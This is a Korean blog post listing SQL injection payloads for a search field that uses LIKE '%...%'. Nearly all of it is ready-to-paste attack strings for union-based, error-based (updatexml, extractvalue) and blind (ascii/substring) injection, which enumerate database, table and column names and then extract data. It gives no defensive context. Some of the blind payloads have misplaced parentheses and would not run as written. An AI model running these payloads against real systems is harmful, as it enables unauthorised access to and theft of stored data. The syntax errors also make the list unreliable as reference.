본문 바로가기

old/Cyber Security

SQL Injection 공격기법 리스트

반응형

검색 추측

select '검색어' from ??? 

검색의 뒷부분이 어떤지 추측합니다.

3+4

3+4를 검색했을떄, 7을 기준으로 검색이 된다면 sql질의문이 통함을 알수있습니다. 또한 결과값이 7만 검색되느냐 혹은 7이 포함되느냐에 따라서 %를 사용하였는지 여부도 확인할수 있습니다.

sql injection이 통하는지 확인 true

%' and (1=1) and '1%'='1

sql injection이 통하는지 확인 false

%' and (1=2) and '1%'='1

sql injection select문이 통하는지 확인

%' and (select 'test'='test') and '1%'='1

Union-based SQL Injection

검색시 컬럼을 몇개 사용하는지 파악합니다.

1,2,3,4 로 늘려가면서 컬럼 개수 확인

%' order by 1 and '1%'='1

union이 통하는지, 그리고 data 출력 위치 파악합니다.

%' union select '1','2','3','4' and '1%'='1

table이름을 확인 합니다.

%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = database() and '1%'='1
%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = 데이터베이스 이름 and '1%'='1

column 이름 확인

%' union select '1',column_name,'3','4' from information_schema.columns where table_name='테이블 이름' and '1%'='1

데이터 추출

%' union select '1',컬럼 이름,'3','4' from 테이블 이름 WHERE '1%' LIKE '1

Error-based SQL Injection

updatexml을 이용한 에러 메세지가 DB에러인지 확인

1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1

extractvalue을 이용한 에러 메세지가 DB에러인지 확인

1' and extractvalue(1,concat(0x3a,(select 'test'))) and '1'='1

에러메세지용 base 설정

1' and updatexml(null,concat(0x3a,(sql)),null) and '1'='1

database이름 확인

select database()
1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1

table 이름 확인

select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1
1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema = 'db_name' limit 1,1)),null) and '1'='1

column 이름 확인

limit [어디에서부터],[몇개]

select column_name from information_schema.columns where table_name='table_name' limit 0,1
1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='table_name' limit 0,1)),null) and '1'='1

데이터 추출

limit [어디에서부터],[몇개]

select column_name from table_name limit 0,1
1' and updatexml(null,concat(0x3a,(select column_name from table_name limit 0,1)),null) and '1'='1

Blind SQL Injection

공격포맷 만들기

%' and (sql) and '1%'='1

ascii문이 통하는지 확인

ascii('t')>0
%' and (ascii('t')>0) and '1%'='1

substring문이 통하는지 확인

ascii(substring('test',1,1))>0
%' and (ascii(substring('test'),1,1)>0) and '1%'='1

공격포맷 2 만들기

%' and (ascii(substring((sql),1,1))>0) and '1%'='1

db 가져오기

select database()
%' and (ascii(substring(select database(),1,1))>0) and '1%'='1

table이름 가져오기

SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1
%' and (ascii(substring(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)>0) and '1%'='1

coulumn이름 가져오기

SELECT column_name FROM information_schema.columns WHERE table_name = '테이블 이름' LIMIT 0,1
%' and (ascii(substring(SELECT column_name FROM information_schema.columns WHERE table_name = '테이블 이름' LIMIT 0,1),1,1)>0) and '1%'='1

데이터 추출

select from limit 0,1
%' and (ascii(substring(sql),1,1)>0) and '1%'='1
반응형